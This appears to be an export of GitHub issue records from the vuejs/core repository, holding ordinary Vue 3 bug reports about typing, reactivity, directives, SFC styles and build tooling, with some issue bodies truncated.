   Du... [TRUNCATED]",,2025-01-23T20:11:41Z,2025-01-24T01:38:48Z,0
vuejs/core,2802997213,SyntaxError - SFC's CSS Interpreted as JS,"### Vue version

3.5.13

### Link to minimal reproduction

NA

### Steps to reproduce

I am developing a Vue app on a private cloud solution.

On `/`, I get a VS Code web IDE.
On `/proxy/5050/`, I have a reverse proxy forwarding the requests to the Vite dev server.

### What is expected?

I have a simple component `AppBanner` called from my Vue app:

```vue
<template>
  <header role=""banner"" class=""test"">
    hello
  </header>
</template>

<style scoped lang=""css"">
.test {
  background-color: red;
}
</style>
```

### What is actually happening?

The component's CSS seems to be interpreted as JS by the browser (Firefox):

![Image](https://github.com/user-attachments/assets/7b6117a3-0d12-4477-96f1-8b2b13f19acd)

![Image](https://github.com/user-attachments/assets/c0a43234-9958-4dbf-b04d-5e461ca27119)

The request sent by the browser (to the proxy, that redirects it to the Vite server):

```
GET /proxy/5050/src/components/AppBanner.vue?vue&type=style&index=0&scoped=f8019c3b&lang.css HTTP/2
Host: ...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Referer: https://DevServerExampleUrl.fr/proxy/5050/src/components/AppBanner.vue
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Connection: keep-alive
Cookie: ...
TE: trailers
```

The response received by the browser (from the Vite server, transiting via the proxy... [TRUNCATED]",,2025-01-21T23:05:54Z,2025-01-22T01:11:12Z,1
vuejs/core,2801795514,Props do not respect optionality in components defined using `defineComponent` with a generic function signature,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU8Fu2zAM/RVCF6eA4WDIdsmcDFsRDNuhK1bfqmIwbCZRp1CCJHspAv/7KNtps3Yd1l5si6T53iOfDuKjtVnboJiL3FdO2QAeQ2NBl7RZSBG8FEtJameNC3CAGteK8NzwmZBCCtsUrrQJvrizyJ/x33NDAfcBOlg7s4OE2yfvJXEXjrt1WSFcOmN9XizhIAmgLfWHORSSulhVGfIBvtmgDJX6MxI6Va325c5qhMVjBpPYIC+AAZFqDz44RZvlxEaE+T3QGSxGMADHJB3BpI9tJ0mt2iSF6yEJkByhR8xkSNycxXeXxufYaMS4TlhActOnJXHZYw0Xhv5Lxp+kS7p7Fe0naEnP+YUK8ulgB14+HwJyozIgn3jaz+xm2tee5J/qjiX59KSbSNliPK212mS33hD7sKcmRcWjURrd0IxtOD+SlqLU2vz62seCa3DUx/9ssfr5l/it38eYFJcOPboWpbjPhdJtMAzp1dUF++gkuTN1o7n6H8nv6I1uIseh7FNDNdM+qevZfulvEFuz8KtoVX8UFYk+7EUKvi3RFc9Jf6A7y96OC+t4ij9adLEnD3CWvcvezET3GxBXR7w=

### Steps to reproduce

Open the reproduction and have a look at the type error on the `<OptionalGenericExample />` component in the template.

I defined an optional prop:
```ts
interface Props<T> {
  val?: T
}
```

and used it in a generic component:
```ts
const OptionalGenericExample = defineComponent(
  <T extends string>(props: Props<T>) => {
    return () => h('div', [
      'OptionalExample'
    ])
  },
  {
    props: ['val']
  }
)
```

When used in the template without providing the prop, the following error is shown:
```
Argument of type '{}' is not assignable to parameter of type '{ val: any; } & VNodeProps & AllowedComponentProps & ComponentCustomProps & Record<string, unknown>'.
  Property 'val' is missing in type '{}' but required in type '{ val: any; }'.
```

```html
<template>
  <OptionalGeneri... [TRUNCATED]",,2025-01-21T13:02:30Z,2025-01-21T14:31:57Z,0
vuejs/core,2800708717,TypeScript Generic Constraint Error in Vue withDefaults When Using undefined or null Types. 在 Vue 的 withDefaults 中，含有 undefined 或 null 类型时的 TypeScript 泛型约束错误,"### Vue version

latest

### Link to minimal reproduction

https://www.typescriptlang.org/play/?#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUAUoRgDOANHAO7AwAWAIhgIYCuANjEXAL5zoEhwByAG5NUAgFDi0AYxYMoqHkyzSYwCFh4QIAHgAqcVAA8YqLMg4CGAuAB9BAIxsBeQdYB8ACjAFiALjg9AEoAoQhgZABuSRk5BSUVNQ04B3l9QxMzCzcbewEnOzhlNEwcZDhXYoxsVGQvH0IiAIQsBhBUAH4AvU4QuDCI6Ml0bU8AIjGgyXFUqE8WttQAid7p9GVVdU1pcHTjU3NLa0L8gS8gxHE4a7hsUyh0BmlFfEb9d0ubr7hW9u6rm6cAHXSg0eiPVjsTwlGqvYg6OFEd7nMgIYHfX5LOCeC7OD5jBhjOAMDh6Ejo1ZA8TrRJbOA7MAAJj2mUOOROBXsVVKtQqRXM1TK50+NzuqAeTxeviReg+aO+N0x-y+QK+oLojEhRGhgrw0oR+tlKJFCqV2Nx+MJxNJ5JVUypNM2yQZAGYWQdslZco5vTghOK+X7xcL5aKsPdHs84Ij3iaMYtlYD0erwcw2NqYTgYzGjTjUeivmacRVLUSSYFbYD7ZIgA

### Steps to reproduce

[language-tools #5132](https://github.com/vuejs/language-tools/issues/5132)

### What is expected?

no err

### What is actually happening?

![Image](https://github.com/user-attachments/assets/755020df-5ac1-47ff-8fe5-c62d7b0a062a)

### System Info

```shell

```

### Any additional comments?

_No response_",scope: types,2025-01-21T05:02:45Z,2025-01-21T05:53:56Z,3
vuejs/core,2800236095,`deep` cannot be a directive modifier,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UttO4zAQ/RXLLwEppEK7TyVbaS+V2NV2WQESL5ZQSaati2+yJ6FVyb8zdmi482bPOTNzZs7s+HfnirYBPuZlqLx0yAJg4ybCSO2sR7Zj7Wz7S3qoULbAOrbwVrOsGA2x7ESYctRnUx59ELRTcwT6MVaujll7pLdH9T6hCFbD5BSUsuzK+rocrY4/otYA7i21HD1rwXOOobJmIZfFOlhDs+xiNcErq51U4M8cSmuC4GOWkIjNqeTdnxRD30C+j1crqG7fia/DJsYE/+8hgG9B8AHDuV8C9vD04h9s6D2A2taNIvYn4DkEq5qosaf9aExNsp/xktrfyRFplpdhukEwYT9UFBqZXeILTob+/GT0J7lfiq8pT5iOtjg4WmCgJT4eAG4d0BWc3awJfHsI1CsegDCJN7O1XEjwgX1jWbQ5Y/csiyb2JNikmuRWwBeHNX7doDy9nP2dKtBgMGdzs82fik+oeppG28Yg1AfXOSmkXT727g73w8ZGVkGh7PJgwA9JSr+s7oR3D6MbBRA=

### Steps to reproduce

Add `'deep'` as a directive modifier.

### What is expected?

Should be able to use `'deep'` as a modifier.

### What is actually happening?

![Image](https://github.com/user-attachments/assets/62280011-b9db-4350-becc-a7142cd83c75)

### Any additional comments?

It appears `deep` was introduced for [handling mutations of v-model bound array/sets](https://github.com/vuejs/core/commit/2937530beff5c6bb57286c2556307859e37aa809) and isn't exposed as api on the directive, but rather completely managed internally.",scope: types,2025-01-20T20:37:23Z,2025-01-21T01:37:15Z,1
vuejs/core,2799243570,--mode breaks build,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-mawlhysg?file=index.html&terminal=dev)

(call: npm run dev --mode development to reproduce)




### Steps to reproduce
```
npm create vue@latest
cd vue-project
npm install
npm run dev --mode development
```

### What is expected?
Vue starting up as if only
```
npm run dev 
```
was called

### What is actually happening?
http://localhost:5173/ returns 404 - not found

---
Setting ""--mode production"" has the same effect.

I tried to use .env files for my project until I found out setting --mode would even break the example build. 

Observation: The regular (un--moded) build displays
```
  ➜  Local:   http://localhost:5173/
  ➜  Network: use --host to expose
  ➜  Vue DevTools: Open http://localhost:5173/__devtools__/ as a separate window
  ➜  Vue DevTools: Press Alt(⌥)+Shift(⇧)+D in App to toggle the Vue DevTools
  ➜  press h + enter to show help
```
on the command line. But with the --mode option set, the two ""Vue DevTools"" lines are missing.

<!-- generated by vue-issues. DO NOT REMOVE -->",,2025-01-20T13:14:28Z,2025-01-20T15:56:29Z,0
vuejs/core,2799229620,`ComponentInstance<typeof Comp>['$props']` has invalid properties when used with `strictFunctionTypes` and `defineModel`,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9VM1OGzEQfpXRCjUgoUQV7SVsgiCiEkWlqKS9YFqZ3UlicOyVf0KiKOeee+qp6rv1CfoIHXuXTdIk3Oz5ZvyN5/PneXJaFM2Jx6SdpDYzonBg0fkCJFfDDkucZUmXKTEutHHQ0+MCBkaPodFshU0obRzXuJsVCHOmIGZqhcpdKOu4yvAwRE+l1E+Y1+C10YWNSB3qeev0eAl8udI5xi1Ti5KbJcTKEqJlKjIGDuhscqYB1YMI0CWYarUgHgV2pL3MQWkHmVaOCwV7UBgciCnmtAg5f3//+P7n18+K4zRznsuyugM3dGEpBrM0UN029mJF445IiALg60nFtg4DTrj03CE4DW4kSo6K4HxaYOYw36CYG+S5VnIGE2HFvcQ23GstkatjqCGWaPW5yOnsdpXFkpM27AfCZcEBdLrA1ewYFvBqZbS02SoNxbcJs3HNnjeGUqgPutgQ6SGMEPi9niB1aL108IQw4rQlPNf/jWW5qkbR03RcVrZw5t3FOMBo5OwKLU1o9/x3KVGdW1f1u3TGHG4vgYR/xBm9kf5dG/q3l3ewYCptlVaIbyZ1SFU0WNoBpNEC1YihRbG0tZKQHJJj6EUNxLD5YLUiW0U7sCSjOiHRfCyc0Ipc1S6NEjAeZv8+xpzxpVVizQizxy3xBzsNMZZc03TRTEjrGnPckAAlfH5zhVNa1+BY5z68jBfAT2i19KHHMu3Mq5zaXsmL3ZImZHihhn17PnWo7POl1hq1zojMvfMqCwf2SYM6J6QsYmK0cxjrrvEsr3TUfBPr6CugST9/QCt/18qvVf5jpElOrlb4gd66TCsfdPcblYSNgxfltkjOL39I8k0Oa+Juav9tgiZMgjo6ar5tvj5KFv8AVB3gSQ==

### Steps to reproduce

1. Open the linked playground
2. Make sure that `strictFunctionTypes` is set to `true` in `tsconfig.json`
3. Hover over types in App.vue setup block

### What is expected?

`ComponentInstance<typeof Comp>['$props']` should evaluate to object describing `Comp`'s props. It should **not** contain `$`-prefixed properties:

```ts
type ExpectedProps = {
    readonly visible: boolean;
    readonly ""onUpdate:visible""?: (value: boolean) => any;
    key?: PropertyKey;
    ref?: VNodeRef;
    ref_for?: boolean;
 ... [TRUNCATED]",scope: types,2025-01-20T13:08:15Z,2025-05-20T00:44:36Z,1
vuejs/core,2798753815,Wrong value when using useTemplateRef and defineModel,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/4twzxl

### Steps to reproduce

- Use the use template to reference a Dom
- Define a constant with the same name using defineModel
- This constant becomes a reference to the DOM or component

![Image](https://github.com/user-attachments/assets/0ee348ab-c94f-430e-8631-06f505f7dcd9)

### What is expected?

A constant is a model declared by defineModel


### What is actually happening?

This constant is becomes a reference to the DOM or component

### System Info

```shell
System:
    OS: Linux 6.1 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (2) x64 AMD EPYC
    Memory: 2.08 GB / 4.01 GB
    Container: Yes
    Shell: Unknown
  Binaries:
    Node: 20.12.0 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.5.0 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/share/npm-global/bin/pnpm
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```

### Any additional comments?

_No response_",:hammer: p3-minor-bug,2025-01-20T09:49:43Z,2026-02-09T07:54:44Z,1
vuejs/core,2797512079,Not work with vue component decorator,"### Vue version

latest

### Link to minimal reproduction

https://github.com/Mittcio/nuxt-error3

### Steps to reproduce

bun - b dev

### What is expected?

To work

### What is actually happening?

```
SyntaxError: Invalid character: '@'
      at <parse> ()
      at runInThisContext (native:1:1)
      at /home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:398:19
      at runModule (/home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:471:10)
      at /home/test/Desktop/test/node_modules/vite-node/dist/client.mjs:464:11
      at processTicksAndRejections (native:7:39)

```

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-01-19T08:59:05Z,2025-01-19T12:16:18Z,0
vuejs/core,2795652788,Reactivity issue with computed on array first item,"### Version
3.5.13

### Reproduction link
[stackblitz.com](https://stackblitz.com/edit/vitejs-vite-xjbkhwre?file=src%2FApp.vue)







### Steps to reproduce
Click on the button ""Increment first array item"" until the first array item object reach 5.

The computed ""biggestNumber"" is never recomputed, showing 4 instead of 5.

Click once on the second button ""Increment second array item"". The computed ""biggestNumber"" is now recomputed and displays 5 as expected.

Click on the first button, this time the computed is always recomputed on each clicks.

Click on the second button until it's value is superior to the first array item. Then click on the first one, it loses reactivity again.

This only happens to the first array item, redo steps with the first button and third or first and fourth.

### What is expected?
The computed should react to changes on the first array item.

### What is actually happening?
The first item never triggers computed reactivity until other array items changes.

---
Thank you for your work, love Vue <3

<!-- generated by vue-issues. DO NOT REMOVE -->","scope: reactivity,:hammer: p3-minor-bug",2025-01-17T14:48:01Z,2026-03-09T06:37:49Z,4
vuejs/core,2792331381,Self referencing components do not work in kebab-case,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/vuejs/core/blob/2e6ec398114bef171984782cb9cee36d460b047a/packages/compiler-core/src/transform.ts#L157

### Steps to reproduce

## Works

filename: `BaseComponent.vue`
template:
```vue
<template>
  <div>
    <BaseComponent
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

## Works

filename: `base-component.vue`
template:
```vue
<template>
  <div>
    <BaseComponent
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

## DOES NOT work

filename: `base-component.vue`
template:
```vue
<template>
  <div>
    <base-component
      v-for=""child in children""
      :key=""child.id""
    />
  </div>
</template>

<script setup>
const children = ref([]);
</script>
```

Culprit is here: https://github.com/vuejs/core/blob/2e6ec398114bef171984782cb9cee36d460b047a/packages/compiler-core/src/transform.ts#L157

it transforms it to `PascalCase`, so `kebab-case` doesn't work

### What is expected?

in reproduce

### What is actually happening?

in reproduce

### System Info

```shell

```

### Any additional comments?

related issues:
https://github.com/vuejs/docs/issues/765
https://github.com/vuejs/core/issues/2827
https://github.com/vuejs/core/issues/2821",need more info,2025-01-16T10:33:49Z,2025-01-17T15:59:16Z,3
vuejs/core,2791517556,"The h function cannot be rendered to the default slot when the first argument is a native element, only when the return value is an array","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUV1LhEAU/SvDfVpBlM16kW2hYh/qoaJ6ayJErzqbzsh8mCD+98ZRdwtiF+Zh5nwM557bw03TBK1BiGGjUskavaWc1Y2QmvTlQHIpakLBKihQjp0jMswTU+meckIk8gzlynOP8amN5KRcUchYS8HvB7+f9fHKu94emfVF5A3eZAvDs8b3v86PyTpQbs8mnLODD1qlguesCPZKcDuWC0YhFXXDKpRPjWaCKwoxmSNTSKpKfD84TEuD/oKnJaZf/+B71Y0YhWeJCmVruzlwOpEF6onevT5iZ+8HshaZqaz6BPmCSlRmzDjJbg3PbOxfOpf23q2I8eJN7TqNXC1DjUFdMU7vNnd3YvRj3Ci4XAq1LX62KMc/bYFRcBWsIxh+AH6TtBQ=

### Steps to reproduce

Open the first line and find 123 cannot be rendered, open the second line and find 123 can be rendered

### What is expected?

Slot return h function can also be rendered

### What is actually happening?

Cannot render

### System Info

```shell

```

### Any additional comments?

_No response_",🔩 p2-edge-case,2025-01-16T02:08:31Z,2025-01-17T08:20:16Z,1
vuejs/core,2789439798,Generic Type Constraints with null | undefined Are Stripped During Build,"### Vue version

3.4.21

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU1PwzAMhv+KlRNIYzvAaXSTAO0AB0CAdsqltG7JSJ0oH2NS6X/HSbWxw7RTYr+vncdOL+6snW4jirkofOWUDeAxRAu6pHYhRfBSQIuETlUcrgF3Aan24INT1MIvUOw+0eWL1nxEqrFRhLUUS0mqs8YF6B02AzTOdCAFPyfFrSRJlSEfYFvqiLAA9hTr5UXqcympmI083ISDgJ3VZUCOAApFNnLdVWdq1IyVOzDojOVidvCKCfPzG41qpxtviIfsU70Ulems0uhebFDMIMUcspK0Umvz85RzwUWc7PPVF1bfJ/Ibv0s5KV4denRbBjlooXQthlFevT/z8o5Epo+a3WfEN/RGx8Q42u55u4x95Mu0j3nL/B8ffpX+x++HSqDJOWR/Xv3DmdH/ca+nN7lO0iCGP3ruuFQ=

### Steps to reproduce

```
<script setup lang=""ts"" generic=""V extends string | number | null | undefined"">
import {ref} from ""vue"";

const value = ref<V>(null)
</script>

<template>
  <input v-model=""value"" />
</template>
```
Then run `npm run build`.

The built output only includes `<V extends string | number>`, dropping the `null | undefined` constraints.

### What is expected?

The generic type constraint should preserve `null | undefined` types
Component should accept `null/undefined` values when used with appropriate type parameters

### What is actually happening?

Built output strips `null | undefined` from generic constraints
TypeScript errors occur when trying to pass null values to components, even though they're explicitly included in the constraints

### System Info

```shell
System:
    OS: macOS 14.3.1
    CPU: (8) arm64 Apple M1 Pro
    Memory: 56.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - ~/.nvm/versions/node/v20.10.0/bin/node
    Y... [TRUNCATED]","need more info,can't reproduce",2025-01-15T10:40:29Z,2025-01-20T08:41:08Z,5
vuejs/core,2788919205,"Using v-show to render different modules, rendering problems occur when specifying width percentages","### Vue version

vue-version:  v3.2.13        @vue/cli:  v5.0.8

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-shvm1fd7?file=package.json,src%2FApp.vue,src%2Fmain.js&terminal=dev

### Steps to reproduce

1. Open the  reproduction link and run the demo
2. Select the selector option to option2 and the different module display

### What is expected?

1.Select the option2,then the ModuleD and ModuleE shuold like the ModuleA normally display

### What is actually happening?

1.Select the option2,then the ModuleD and ModuleE abnormally display

### System Info

```shell
System:
    OS: Linux 3.10 CentOS Linux 7 (Core)
    CPU: (4) x64 Intel(R) Core(TM) i7-9700 CPU @ 3.00GHz
    Memory: 66.20 MB / 1.78 GB
    Container: Yes
    Shell: 4.2.46 - /bin/bash
  Binaries:
    Node: 16.20.2 - /run/user/1000/fnm_multishells/4906_1736908128865/bin/node
    npm: 8.19.4 - /run/user/1000/fnm_multishells/4906_1736908128865/bin/npm
  Browsers:
    Chrome: 124.0.6367.118
  npmPackages:
    vue: ^3.2.13 => 3.5.13
```

### Any additional comments?


1.In the style code area, I commented on the different display results caused by setting different width methods.
2.In my opinion, regardless of whether the width setting is a percentage or a fixed value, under the conditional rendering of v-show, the width or aspect ratio in the initial state should not be lost.",,2025-01-15T06:06:00Z,2025-01-15T06:42:11Z,0
vuejs/core,2786792895,v-memo skips updates when used with v-for and within a v-if,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/BXjC1RtU6rCpaQVD/UAB0DArUYopJvUbWJbtpMWRfl31k76EEK9rWdmZ2dXruidUkFZAB3T0MSaK0sM2EJNmeC5ktqSimhISE0SLXNyjtLzGyaYiKUwqF3KDZk4xYXVBXR2eCwLYVvisoMN4aBxR198WMhVFlnAFyGhUZEgZZ8nE0adIaMePzCJ1EhBBjnhgsyHn4yS8Rp+WhBfZT+HXOJ77iejYFpVvqxrHI02zaimJL7+LqyVgtzGGY/X7WiMfNZGiJeRSMFvGA4abePxt8+P6XZdS1MdycPBflXao9bgdRKeBisjBV68cn7OIFc8A/2iLMfrMTomnnFclGVy8+Qxd+DeDo+XEK//wVdm6zBGXzUY0CUwuudspFOwDT17f4Yt1nsyl4siQ/UJ8g2MzAqXsZHdF2KBsY90Pu2j/zdcpB9mtrUgzG4pF9Qpa69nFP/Sw4nVD3FHwZXvY6LGK36VoJ0nHnAUXAfDEa1/AVZr6+E=

### Steps to reproduce

1. click the button ""change show""
2. click the button ""change show""
3. click the button ""count++""
3. click the button ""count++""

### What is expected?

1. the number is no longer displayed
2. the number is displayed again
3. the shown number is updated to 1
4. the shown number is updated to 2

### What is actually happening?

1. the number is no longer displayed
2. the number is displayed again
3. the shown number remains 0
4. the shown number is updated to 2

### System Info

```shell
System:
    OS: Windows 10 10.0.19045
    CPU: (20) x64 12th Gen Intel(R) Core(TM) i7-12800H
    Memory: 12.20 GB / 31.69 GB
  Binaries:
    Node: 22.4.1
    npm: 9.3.1
    pnpm: 8.9.0
  Browsers:
    Chrome: 131.0.6778.265
```


### Any additional comments?

It seems the if the memo values are the same when the v-if is hidden and shown again, then an update to the memo v... [TRUNCATED]",:hammer: p3-minor-bug,2025-01-14T10:34:29Z,2026-03-25T06:29:35Z,0
vuejs/core,2780242681,Template is not mapped in sourcemap on Vite applications,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-mpsjmqwf?file=package.json

### Steps to reproduce

Run npm install on slackblitz then, run npm run build then npm run preview. You'll see some dist js and map files at dist/assets folder. Then open inspect tab in your browser and click throw error. When you upload map file to https://evanw.github.io/source-map-visualization/ and select HelloWorld.vue file, you can see only `ref(0)` part is mapped.

### What is expected?

I expect all source code for SFC has been mapped

### What is actually happening?

When you upload map file to https://evanw.github.io/source-map-visualization/ and select HelloWorld.vue file like mentioned above, you can see only `ref(0)` part is mapped.

### System Info

```shell
System:
    OS: macOS 15.0.1
    CPU: (10) arm64 Apple M1 Max
    Memory: 88.73 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - ~/.nvm/versions/node/v20.10.0/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v20.10.0/bin/npm
  Browsers:
    Chrome: 131.0.6778.205
    Edge: 131.0.2903.112
    Safari: 18.0.1
  npmPackages:
    @vitejs/plugin-vue: ^5.2.1 => 5.2.1 
    vite: ^6.0.7 => 6.0.7
```


### Any additional comments?

_No response_",:lady_beetle:  bug,2025-01-10T13:52:56Z,2025-05-20T00:46:03Z,1
vuejs/core,2776699810,"When using setInterval to implement a counter in Vue3, the Dom Nodes are incremented, but there is no such problem in Vue2","### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFu2zAM/RVChzVFgzjDduqcYFvRQ3fYhm1HXRyHydTKkiBRaQDD/15KqlOjSHsxpMfHp/do9uKbc4tDRHEt6tB65QgCUnRraVTnrCfoweMOBth528EFUy+kkaa1JhCY2MEq1WfLy4RqJCDVoX+hBGo83dhoCD1zZ5ewWkMvDRQiQ/zeXaoeGj2blCGpLxiMeHWVgGEOH5fL9NAwlbfurHqrsfEn3fxW6ayrkpMT8oWwc7oh5BtAvVWHfOD2onkNfZ9TDtzJhGpk1BsP1eumehOJrIGvrVbtw0qKaXgp1vk6StdVYT/3fjCb4L6U75tqp6xZzLqzWqPJupqEE3NBgUe2U/vFfbCG/3cekxSt7ZzS6H85UjxSKThzMSBFo7V9/JEx8hHnI97+x/bhDH4fjgmT4rfHwJNHKU41zr5HKuXbvz/xyOdTsbPbqJn9TvEPBqtj8lho36PZsu0JL7u9y1urzP5fuD0SmjCGSkbLGpXcvMk370R/sftp8Tn38faI4QmqHBCu

### Steps to reproduce

1. Open Chrome Developer tools (F12)
2. Open More tools -> Performance monitor
3. Make sure the Dom Nodes option is selected
4. When the number of dom nodes no longer changes, click start counter button to start the counter, the number of dom nodes will increase as the counter is executed each time.
5. Click stop counter button to stop the counter, the number of dom nodes will stop growing.
![dom_nodes](https://github.com/user-attachments/assets/b9764e80-5b47-45b3-9ac7-8c01ed334bb3)


### What is expected?

The number of Dom nodes should remain constant while the counter is executing.

### What is actually happening?

The number of dom nodes are increased as the counter is executed each time. This will cause a memory leak.

### System Info

_No response_

### Any additional comments?

_No response_",can't reproduce,2025-01-09T02:30:24Z,2025-01-09T03:32:52Z,2
vuejs/core,2775813322,handling emit in `render( h() )` outside `setup()`,"### Vue version

22dcbf3

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVF9z0zAM/yq68NDsLk0ZsJesLTBuD3Ac7DZ4Ijxkidp4c2xjO/1zvX53ZLtpsjEGeWhl6Sf5J1nSLnqvVLpqMcqiqSk1UxYM2lYBL8RylkfW5NE8F6xRUlu4aK2VAhZaNpBH6SScnX8eHUE70LhIoIZ9AI7IPMpFLkopjIVmW7EVzBwoPunVxhbkO4P4BGZz2OUCCCEq1LETAeo4XJYEm/ssbmwGI4vGjpJOWVNcUk7cf68dSfFdVYXFTGmpzCiDWOD6yskZXGMpdTU1VjOxTKAQ23lPInyOo+SYcrk8OhL5YNwHYX9yuK6SZdugsOmvFvX2BjmWVup49MKnPvJ+9ENu00moOVWYDhYbxYkjnQCmrkrvSs7Ke3oGX508gpIXxgzOxm450pn8ShwzikD5lHQ36nOokS1rm529VJvzW8oQdQanagOUCavglrd4To9740JNJ3Rdfy+rKKZnS4CBLTxByNJVn1A1ci7d63fFJ92kUIrIrcZSZFKM20HlyRp74WGFh/UN5kNNQ2R/u3tnz+LQdqScTo41ixLqVQqzYMv0zkhBDe2j51EpG8U46q/KMromj7Lu3jwqiPz6k9dZ3eLhAcmnxvL+Cf2d2ThdHl1pNKhX1PdHG9VxifQoznx584XKMzA2smo5oZ8xXiOVoHUcA+yiFRXRHuA8249+yqhTv5nLjUVhuqQcUYfce3we0dh9eCb1nu7r9I33o5akKvYz/X87wY17UVq2wgQqXDCBlw2zpjv4UUlgXdjybxth53uJNgZ1D0FmQ89p4OsAbzNqdzeiXuPAA81+PlwmSAyOcTydQ5w/98APLzy5BH4+Dlu2mnaS9cT8Bgt5xz3H8FSOG0l77+ozj4euCcRhJKqwR9wkOMbxY3YJPMBRuH8sDC88EA8D3e0NtR2feaLj28JQOx5RDsiEainJDroZvwLCn6ZnoCX1IlZjvoT1eNFy7qeb2hY5IYe5pS53stqtcnvJXdUth+7zu6qWnPYRIT4zcU+bSmM2YNOvnIHYSYOhz0W0/w2c8D4w

### Steps to reproduce

i dont know why this doesnt work on playground

i use nuxt 3 and editorJS lib.
im creating custom module and i wanna render vue components there, so basically you need to click start button and it will render Button component then start typing smth, and you will see nothing on console (its expected but on playground code doesnt even render Butto... [TRUNCATED]",,2025-01-08T16:26:52Z,2025-01-09T12:27:48Z,5
vuejs/core,2775453744, Project loads white screen after updating to vue 3,"### Vue version

3.5.13

### Link to minimal reproduction

http://localhost:8080/

### Steps to reproduce

- Update project from vue 2 to vue 3
- Update all code according to the documentation

### What is expected?

Return to login page

### What is actually happening?

The project is loading the title and favicon, but the page is loading blank

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (8) x64 Intel(R) Core(TM) i7-8565U CPU @ 1.80GHz
    Memory: 1.83 GB / 7.85 GB
  Binaries:
    Node: 16.15.1 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.19 - C:\Program Files\nodejs\yarn.CMD
    npm: 9.1.2 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 131.0.6778.205
    Edge: Chromium (127.0.2651.98)
    Internet Explorer: 11.0.22621.3527
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?

package.json:
```
""dependencies"": {
    ""@fortawesome/fontawesome-free"": ""^6.7.1"",
    ""@fortawesome/fontawesome-svg-core"": ""^6.7.1"",
    ""@fortawesome/free-brands-svg-icons"": ""^6.7.1"",
    ""@fortawesome/free-regular-svg-icons"": ""^6.7.1"",
    ""@fortawesome/free-solid-svg-icons"": ""^6.7.1"",
    ""@fortawesome/vue-fontawesome"": ""^3.0.8"",
    ""@mdi/font"": ""^7.4.47"",
    ""@vue/compat"": ""^3.5.13"",
    ""axios"": ""^1.7.7"",
    ""core-js"": ""^3.6.5"",
    ""js-sha256"": ""^0.11.0"",
    ""rxjs"": ""^7.8.1"",
    ""sha256"": ""^0.2.0"",
    ""socket.io-client"": ""^4.1.2"",
    ""vue"": ""^3.5.13"",
    ""vue-router"": ""^4.5.0"",
    ""vue... [TRUNCATED]",,2025-01-08T13:51:48Z,2025-01-08T15:26:27Z,0
vuejs/core,2774454972,php framework laravel build vue3 use defineModel not run,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UstOwzAQ/JWVL4CEgkrhUoVKgDiAxEPADaMqJJvWxVlbfpSiKv/OJmnTClW9JPbsrGd27JW4tjZZRBQjkfrcKRvAY4gWdEbTKymCl2IsSVXWuAArKLBUhI+mQA01lM5UcMTtR0yhgK7McoQHo+ieSrOSFFUxolh9oTuVFH4tTnpAUi1JksYA83WDh6tdgXRz0Mfn+PhEUk9LFpmOyGSADwCW4QVIwWJSjAas1O3Xej1Wt99/9PM99A7bSx/uoTdY/SkpPesS5Lx4E7CyOgvIO4B0NhhzTOkZ/xviTlGccsi5oVJNk7k3xDfRakqRm8oqje7ZBmWIL2K0dZNpbX4eWiy4iL2rfIb59x587pcNJsWLQ49ugVJsJ8ncFENXvnt7wiWv+2JliqiZfaD4it7o2HjsaDeRCra9w2vd3rdvSNH03d8tA5LfDNUY3QYuBQd1e2D0rd1hctH2cfyc4mSBrjmTAxwml8lgKOo/+vPv+Q==

### Steps to reproduce

npm  install
npm install  laravel-mix
npm install  vue
npm install ts-loader
npm install typescript

### What is expected?

 Laravel Mix v6.0.49

✔ Compiled Successfully in 2632ms

webpack compiled successfully

### What is actually happening?

npm run watch
> watch
> mix watch

✖ Mix
  Compiled with some errors in 18.32s

ERROR in Join.vue.ts
14:29-35
[tsl] ERROR in Join.vue.ts(14,30)
      TS2558: Expected 3-5 type arguments, but got 1.

ERROR in Join.vue.ts
15:0-16
[tsl] ERROR in Join.vue.ts(15,1)
      TS2322: Type 'string' is not assignable to type 'T[K]'.
  'string' is assignable to the constraint of type 'T[K]', but 'T[K]' could be instantiated with a different subtype of constraint 'any'.

